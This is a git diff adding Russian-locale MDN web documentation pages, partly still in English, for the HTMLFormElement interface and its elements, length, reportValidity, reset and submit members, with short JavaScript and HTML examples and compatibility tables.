+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Accessibility/Keyboard-navigable_JavaScript_widgets" title="Accessibility/Keyboard-navigable_JavaScript_widgets">Accessibility of keyboard-navigable JavaScript widgets</a></li>
+ <li>The HTML <a href="/en-US/docs/Web/HTML/Global_attributes/tabindex"><strong>tabindex</strong></a> глобальный атрибут.</li>
+</ul>
diff --git a/files/ru/web/api/htmlformelement/elements/index.html b/files/ru/web/api/htmlformelement/elements/index.html
new file mode 100644
index 0000000000..dbd4e1ddcd
--- /dev/null
+++ b/files/ru/web/api/htmlformelement/elements/index.html
@@ -0,0 +1,100 @@
+---
+title: HTMLFormElement.elements
+slug: Web/API/HTMLFormElement/elements
+translation_of: Web/API/HTMLFormElement/elements
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary">The {{domxref("HTMLFormElement")}} property <code><strong>elements</strong></code> returns an {{domxref("HTMLFormControlsCollection")}} listing all the form controls contained in the {{HTMLElement("form")}} element.</span> Independently, you can obtain just the number of form controls using the {{domxref("HTMLFormElement.length", "length")}} property.</p>
+
+<p>You can access a particular form control in the returned collection by using either an index or the element's {{domxref("Element.name", "name")}} or {{domxref("Element.id", "id")}}.</p>
+
+<p>Prior to HTML 5, the returned object was an {{domxref("HTMLCollection")}}, on which <code>HTMLFormControlsCollection</code> is based.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Similarly, you can get a list of all of the forms contained within a given document using the document's {{domxref("Document.forms", "forms")}} property.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate"><em>nodeList</em> = <em>HTMLFormElement</em>.elements
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>An {{domxref("HTMLFormControlsCollection")}} containing all non-image controls in the form. This is a live collection; if form controls are added to or removed from the form, this collection will update to reflect the change.</p>
+
+<p>The form controls in the returned collection are in the same order in which they appear in the form by following a preorder, depth-first traversal of the tree. This is called <strong>tree order</strong>.</p>
+
+<p>{{page("/en-US/docs/Web/API/HTMLFormElement", "Elements that are considered form controls")}}</p>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="Quick_syntax_example">Quick syntax example</h3>
+
+<p>In this example, we see how to obtain the list of form controls as well as how to access its members by index and by name or ID.</p>
+
+<pre class="brush: html notranslate">&lt;form id="my-form"&gt;
+  &lt;input type="text" name="username"&gt;
+  &lt;input type="text" name="full-name"&gt;
+  &lt;input type="password" name="password"&gt;
+&lt;/form&gt;</pre>
+
+<pre class="brush:js notranslate">var inputs = document.getElementById("my-form").elements;
+var inputByIndex = inputs[0];
+var inputByName = inputs["username"];
+</pre>
+
+<h3 id="Accessing_form_controls">Accessing form controls</h3>
+
+<p>This example gets the form's element list, then iterates over the list, looking for {{HTMLElement("input")}} elements of type <code><a href="/en-US/docs/Web/HTML/Element/input/text">"text"</a></code> so that some form of processing can be performed on them.</p>
+
+<pre class="brush: js notranslate">var inputs = document.getElementById("my-form").elements;
+
+// Iterate over the form controls
+for (i = 0; i &lt; inputs.length; i++) {
+  if (inputs[i].nodeName === "INPUT" &amp;&amp; inputs[i].type === "text") {
+    // Update text input
+    inputs[i].value.toLocaleUpperCase();
+  }
+}
+</pre>
+
+<h3 id="Disabling_form_controls">Disabling form controls</h3>
+
+<pre class="brush: js notranslate">var inputs = document.getElementById("my-form").elements;
+
+// Iterate over the form controls
+for (i = 0; i &lt; inputs.length; i++) {
+  // Disable all form controls
+  inputs[i].setAttribute("disabled", "");
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-form-elements', 'HTMLFormElement.elements')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-76728479", "HTMLFormElement.elements")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLFormElement.elements")}}</p>
diff --git a/files/ru/web/api/htmlformelement/index.html b/files/ru/web/api/htmlformelement/index.html
new file mode 100644
index 0000000000..6e83b5de3a
--- /dev/null
+++ b/files/ru/web/api/htmlformelement/index.html
@@ -0,0 +1,273 @@
+---
+title: HTMLFormElement
+slug: Web/API/HTMLFormElement
+tags:
+  - API
+  - HTML DOM
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/HTMLFormElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>The <strong><code>HTMLFormElement</code></strong> interface provides methods to create and modify {{HTMLElement("form")}} elements; it inherits from properties and methods of the {{domxref("HTMLElement")}} interface.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Inherits properties from its parent, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLFormElement.acceptCharset")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("accept-charset", "form") }} HTML attribute, containing a list of character encodings that the server accepts.</dd>
+ <dt>{{domxref("HTMLFormElement.action")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("action", "form") }} HTML attribute, containing the URI of a program that processes the information submitted by the form.</dd>
+ <dt>{{domxref("HTMLFormElement.autocomplete")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("autocomplete", "form") }} HTML attribute, containing a string that indicates whether the controls in this form can have their values automatically populated by the browser.</dd>
+ <dt>{{domxref("HTMLFormElement.elements")}}<code><a href="/en/DOM/form.elements" title="en/DOM/form.elements"> </a></code>{{readonlyinline}}</dt>
+ <dd>Returns a live {{domxref("HTMLFormControlsCollection")}} containing all the form controls belonging to this form element.</dd>
+ <dt>{{domxref("HTMLFormElement.encoding")}}</dt>
+ <dd>Is a synonym for <code>enctype</code>.</dd>
+ <dt>{{domxref("HTMLFormElement.enctype")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} reflects the {{ htmlattrxref("enctype", "form") }} HTML attribute, indicating the type of content that is used to transmit the form to the server. Only specified values can be set.</dd>
+ <dt>{{domxref("HTMLFormElement.length")}} {{readonlyinline}}</dt>
+ <dd>Returns a <code>long</code> that represents the number of controls in the form.</dd>
+ <dt>{{domxref("HTMLFormElement.method")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("method", "form") }} HTML attribute, indicating the HTTP method used to submit the form. Only specified values can be set.</dd>
+ <dt>{{domxref("HTMLFormElement.name")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("name", "form") }} HTML attribute, containing the name of the form.</dd>
+ <dt>{{domxref("HTMLFormElement.noValidate")}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} that reflects the {{ htmlattrxref("novalidate", "form") }} HTML attribute, indicating that the form should not be validated.</dd>
+ <dt>{{domxref("HTMLFormElement.target")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("target", "form") }} HTML attribute, indicating where to display the results received from submitting the form.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, {{domxref("HTMLElement")}}</em><em>.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLFormElement.checkValidity()")}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} that is <code>true</code> if the element's child controls are subject to constraint validation and satify those contraints, <span style="line-height: 1.5;">or </span><code style="font-style: normal; line-height: 1.5;">false</code><span style="line-height: 1.5;"> if some controls do not satisfy their constraints. Fires an event named {{event("invalid")}} at any control that does not satisfy its constraints; such controls are considered invalid if the event is not canceled. It is up to the programmer to decide how to respond to <code style="font-style: normal; line-height: 1.5;">false</code>.</span></dd>
+ <dt>{{domxref("HTMLFormElement.item()")}}</dt>
+ <dd>Gets the item in the <code>elements</code> collection at the specified index, or null if there is no item at that index. You can also specify the index in array-style brackets or parentheses after the form object name, without calling this method explicitly.</dd>
+ <dt>{{domxref("HTMLFormElement.namedItem()")}}</dt>
+ <dd>Gets the item or list of items in <code>elements</code> collection whose <code>name</code> or <code>id</code> match the specified name, or null if no items match. You can also specify the name in array-style brackets or parentheses after the form object name, without calling this method explicitly.</dd>
+ <dt>{{domxref("HTMLFormElement.submit()")}}</dt>
+ <dd>Submits the form to the server.</dd>
+ <dt>{{domxref("HTMLFormElement.reset()")}}</dt>
+ <dd>Resets the forms to its initial state.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("HTMLFormElement.reportValidity()")}}</dt>
+ <dd>Returns<span style="line-height: 1.5;"> </span><code style="font-style: normal; line-height: 1.5;">true</code><span style="line-height: 1.5;"> if the element's child controls satisfy their validation constraints. </span><span style="line-height: 1.5;">When</span><span style="line-height: 1.5;"> </span><code style="font-style: normal; line-height: 1.5;">false</code><span style="line-height: 1.5;"> is returned, cancelable</span><span style="line-height: 1.5;"> <code><a href="https://developer.mozilla.org/en-US/docs/Web/Events/invalid" title="/en-US/docs/Web/Events/invalid">invalid</a></code> events are fired for each invalid child and validation problems are reported to the user.</span></dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>The following example shows how to create a new form element, modify its attributes and submit it.</p>
+
+<pre class="brush: js">// Create a form
+var f = document.createElement("form");
+
+// Add it to the document body
+document.body.appendChild(f);
+
+// Add action and method attributes
+f.action = "/cgi-bin/some.cgi";
+f.method = "POST"
+
+// Call the form's submit method
+f.submit();
+</pre>
+
+<p>In addition, the following complete HTML document shows how to extract information from a form element and to set some of its attributes.</p>
+
+<pre class="brush: html">&lt;title&gt;Form example&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+  function getFormInfo() {
+    var info;
+
+    // Get a reference using the forms collection
+    var f = document.forms["formA"];
+    info = "f.elements: " + f.elements + "\n"
+         + "f.length: " + f.length + "\n"
+         + "f.name: " + f.name + "\n"
+         + "f.acceptCharset: " + f.acceptCharset + "\n"
+         + "f.action: " + f.action + "\n"
+         + "f.enctype: " + f.enctype + "\n"
+         + "f.encoding: " + f.encoding + "\n"
+         + "f.method: " + f.method + "\n"
+         + "f.target: " + f.target;
+    document.forms["formA"].elements['tex'].value = info;
+  }
+
+  // A reference to the form is passed from the
+  // button's onclick attribute using 'this.form'
+  function setFormInfo(f) {
+    f.method = "GET";
+    f.action = "/cgi-bin/evil_executable.cgi";
+    f.name   = "totally_new";
+  }
+&lt;/script&gt;
+
+&lt;h1&gt;Form  example&lt;/h1&gt;
+
+&lt;form name="formA" id="formA"
+ action="/cgi-bin/test" method="POST"&gt;
+ &lt;p&gt;Click "Info" to see information about the form.
+    Click set to change settings, then info again
+    to see their effect&lt;/p&gt;
+ &lt;p&gt;
+  &lt;input type="button" value="info"
+   onclick="getFormInfo();"&gt;
+  &lt;input type="button" value="set"
+   onclick="setFormInfo(this.form);"&gt;
+  &lt;input type="reset" value="reset"&gt;
+  &lt;br&gt;
+  &lt;textarea id="tex" style="height:15em; width:20em"&gt;
+  &lt;/textarea&gt;
+ &lt;/p&gt;
+&lt;/form&gt;
+</pre>
+
+<p>The following example shows how to submit a form in a <a href="/en-US/docs/DOM/window.open" title="/en-US/docs/DOM/window.open">popup window</a>.</p>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;MDN Example&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+function popupSend (oFormElement) {
+  if (oFormElement.method &amp;&amp; oFormElement.method.toLowerCase() !== "get") {
+    alert("This script supports the GET method only.");
+    return;
+  }
+  var oField, sFieldType, nFile, sSearch = "";
+  for (var nItem = 0; nItem &lt; oFormElement.elements.length; nItem++) {
+    oField = oFormElement.elements[nItem];
+    if (!oField.hasAttribute("name")) { continue; }
+    sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT";
+    if (sFieldType === "FILE") {
+      for (nFile = 0; nFile &lt; oField.files.length; sSearch += "&amp;" + escape(oField.name) + "=" + escape(oField.files[nFile++].name));
+    } else if ((sFieldType !== "RADIO" &amp;&amp; sFieldType !== "CHECKBOX") || oField.checked) {
+      sSearch += "&amp;" + escape(oField.name) + "=" + escape(oField.value);
+    }
+  }
+  open(oFormElement.action.replace(/(?:\?.*)?$/, sSearch.replace(/^&amp;/, "?")), "submit-" + (oFormElement.name || Math.floor(Math.random() * 1e6)), "resizable=yes,scrollbars=yes,status=yes");
+}
+&lt;/script&gt;
+
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;form name="yourForm" action="test.php" method="get" onsubmit="popupSend(this); return false;"&gt;
+  &lt;p&gt;First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+  Last name: &lt;input type="text" name="lastname" /&gt;&lt;br /&gt;
+  Password: &lt;input type="password" name="pwd" /&gt;&lt;br /&gt;
+  &lt;input type="radio" name="sex" value="male" /&gt; Male &lt;input type="radio" name="sex" value="female" /&gt; Female&lt;/p&gt;
+  &lt;p&gt;&lt;input type="checkbox" name="vehicle" value="Bike" /&gt;I have a bike&lt;br /&gt;
+  &lt;input type="checkbox" name="vehicle" value="Car" /&gt;I have a car&lt;/p&gt;
+  &lt;p&gt;&lt;input type="submit" value="Submit" /&gt;&lt;/p&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h3 id="Submitting_forms_and_uploading_files_using_XMLHttpRequest">Submitting forms and uploading files using <code>XMLHttpRequest</code></h3>
+
+<p>If you want to know how to serialize and submit a form using the <a href="/en-US/docs/DOM/XMLHttpRequest" title="/en-US/docs/DOM/XMLHttpRequest"><code>XMLHttpRequest</code></a> API, please read <a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files">this paragraph</a>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "forms.html#the-form-element", "HTMLFormElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "forms.html#the-form-element", "HTMLFormElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>The elements properties returns an {{domxref("HTMLFormControlsCollection")}} instead of a raw {{domxref("HTMLCollection")}}. This is mainly a technical change.<br>
+    The following method has been added: <code>checkValidity()</code>.<br>
+    The following properties have been added: <code>autocomplete</code>, <code>noValidate</code>, and <code>encoding</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-40002357', 'HTMLFormElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>No change from {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-40002357', 'HTMLFormElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The HTML element implementing this interface: {{ HTMLElement("form") }}.</li>
+</ul>
diff --git a/files/ru/web/api/htmlformelement/length/index.html b/files/ru/web/api/htmlformelement/length/index.html
new file mode 100644
index 0000000000..1c22fb4328
--- /dev/null
+++ b/files/ru/web/api/htmlformelement/length/index.html
@@ -0,0 +1,37 @@
+---
+title: HTMLFormElement.length
+slug: Web/API/HTMLFormElement/length
+translation_of: Web/API/HTMLFormElement/length
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<p><span class="seoSummary"><code><strong>HTMLFormElement.length</strong></code>  - свойство только для чтения, которое возвращает количество элементов управления в элементе {{HTMLElement("form")}}.</span> Вы можете получить доступ к списку элементов управления формы с помощью свойства {{domxref("HTMLFormElement.elements", "elements")}}.</p>
+
+<p>Это свойство учитывает элементы, которые являются потомками элемента <code>&lt;form&gt;</code>, а также элементы, которые были определены как члены этой формы с помощью их свойства <code>form</code>.</p>
+
+<p>{{page("/en-US/docs/Web/API/HTMLFormElement", "Элементы, которые считаются управляющими элементами форм")}}</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>numControls</var> = <em>form</em>.length;
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Количество управляющих элементов внутри формы <code>&lt;form&gt;</code>. Это то же число, что и число элементов в {{domxref("HTMLFormControlsCollection")}}, возвращаемой свойством {{domxref("HTMLFormElement.elements", "elements")}}.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">if (document.getElementById("form1").length &gt; 1) {
+  // в форме больше одного управляющего элемента
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/html5/forms.html#dom-form-length" title="http://www.w3.org/TR/html5/forms.html#dom-form-length">HTML 5, Section 4.10.3, The form Element</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#HTML-HTMLFormElement-length">DOM Level 2: length</a></li>
+</ul>
diff --git a/files/ru/web/api/htmlformelement/reportvalidity/index.html b/files/ru/web/api/htmlformelement/reportvalidity/index.html
new file mode 100644
index 0000000000..bc4028946c
--- /dev/null
+++ b/files/ru/web/api/htmlformelement/reportvalidity/index.html
@@ -0,0 +1,79 @@
+---
+title: HTMLFormElement.reportValidity()
+slug: Web/API/HTMLFormElement/reportValidity
+translation_of: Web/API/HTMLFormElement/reportValidity
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>Метод <strong><code>HTMLFormElement.reportValidity()</code></strong> возвращает<span style="line-height: 1.5;"> </span><strong><code style="font-style: normal; line-height: 1.5;">true</code></strong><span style="line-height: 1.5;"> если все дочерние элементы прошли проверку. Когда возвращается </span><strong><code style="font-style: normal; line-height: 1.5;">false</code></strong><span style="line-height: 1.5;">, по каждому дочернему элементу не прошедшему проверку генерируется событие</span><span style="line-height: 1.5;"> <code><a href="https://developer.mozilla.org/en-US/docs/Web/Events/invalid" title="/en-US/docs/Web/Events/invalid">invalid</a></code> и пользователю сообщаются проблемы проверки.</span></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>HTMLFormElement</em>.reportValidity()
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="eval">document.forms["myform"].addEventListener('invalid', function() {
+  //Опциональный ответ здесь.
+}, false);
+
+document.forms["myform"].addEventListener('submit', function() {
+  document.forms["myform"].reportValidity();
+}, false);</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификация</h2>
+
+<p><a class="external" href="http://www.w3.org/html/wg/drafts/html/master/semantics.html#the-constraint-validation-api">HTML 5.1 Forms: The Constraint Validation API</a></p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatChrome(40.0) }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatChrome(40.0) }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/htmlformelement/reset/index.html b/files/ru/web/api/htmlformelement/reset/index.html
new file mode 100644
index 0000000000..1d2c858788
--- /dev/null
+++ b/files/ru/web/api/htmlformelement/reset/index.html
@@ -0,0 +1,24 @@
+---
+title: HTMLFormElement.reset()
+slug: Web/API/HTMLFormElement/reset
+translation_of: Web/API/HTMLFormElement/reset
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>Метод <strong><code>HTMLFormElement.reset()</code></strong> восстанавливает стандартные значения всем элементам формы. Данный метод выполняет действие идентичное нажатию кнопки имеющей тип reset.</p>
+
+<p>Если элемент управления формы (такой как кнопка типа reset) имеет имя или идентификатор reset, это маскирует метод <strong><code>HTMLFormElement.reset()</code></strong>. Это не сбрасывает другие атрибуты, такие как <strong>disabled</strong>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>HTMLFormElement</em>.reset()
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="eval">document.getElementById('myform').reset();
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификация</h2>
+
+<p><a href="http://www.w3.org/html/wg/drafts/html/master/semantics.html#resetting-a-form">HTML 5.1 Nightly: Resetting a form</a></p>
diff --git a/files/ru/web/api/htmlformelement/submit/index.html b/files/ru/web/api/htmlformelement/submit/index.html
new file mode 100644
index 0000000000..4df609cd44
--- /dev/null
+++ b/files/ru/web/api/htmlformelement/submit/index.html
@@ -0,0 +1,56 @@
+---
+title: HTMLFormElement.submit()
+slug: Web/API/HTMLFormElement/submit
+tags:
+  - HTMLFormElement
+translation_of: Web/API/HTMLFormElement/submit
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>Метод <strong><code>HTMLFormElement.submit()</code></strong> позволяет отправить форму {{HtmlElement("form")}}.</p>
+
+<p>Этот метод похож, но не идентичен кнопке {{HtmlElement("button")}}. , который активирует отправку формы.   Однако при непосредственном вызове этого метода:</p>
+
+<ul>
+ <li>Событие {{event("submit")}} не инициировано. В частности, обработчик события {{domxref("GlobalEventHandlers.onsubmit", "onsubmit")}} для данной формы не запускается.</li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">Проверка ограничений</a> не запускается.</li>
+</ul>
+
+<p>Метод {{domxref("HTMLFormElement.requestSubmit()")}} идентичен кнопке {{HtmlElement("button")}} , которая активирует отправку формы и не имеет различий, указанных выше.</p>
+
+<p>Если элемент управления формы (например, кнопка отправки) имеет <code>name</code> или <code>id</code> кнопки <code>submit</code>, тогда этот метод будет маскировать метод <code>submit</code> формы..</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>HTMLFormElement</em>.submit()
+</pre>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">document.forms["myform"].submit();
+</pre>
+
+<h2 id="Specification" name="Specification">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-form-submit', 'HTMLFormElement: submit')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLFormElement.submit")}}</p>
diff --git a/files/ru/web/api/htmlheadelement/index.html b/files/ru/web/api/htmlheadelement/index.html
new file mode 100644
index 0000000000..1dfb63025d
--- /dev/null
+++ b/files/ru/web/api/htmlheadelement/index.html
@@ -0,0 +1,132 @@
+---
+title: HTMLHeadElement
+slug: Web/API/HTMLHeadElement
+translation_of: Web/API/HTMLHeadElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>Интерфейс <strong><code>HTMLHeadElement</code></strong> содержит описательную информацию, или метаданные, для документа. Этот объект наследует все свойства и методыописанные в {{domxref("HTMLElement")}} интерфейсе.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLHeadElement.profile")}} {{obsolete_inline}}</dt>
+ <dd>Это {{domxref("DOMString")}} представляющая URI одного или более профилей методанных (через запятую).</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Не имеет специфичных методов; наследует методы от родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "semantics.html#the-head-element", "HTMLHeadElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Не изменилась с последнего снимка, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "document-metadata.html#the-head-element", "HTMLHeadElement")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Не изменилось с {{SpecName('HTML5 W3C')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "document-metadata.html#the-head-element", "HTMLHeadElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Следующее свойство было удалено: <code>profile</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-77253168', 'HTMLHeadElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Не изменилось с {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-77253168', 'HTMLHeadElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
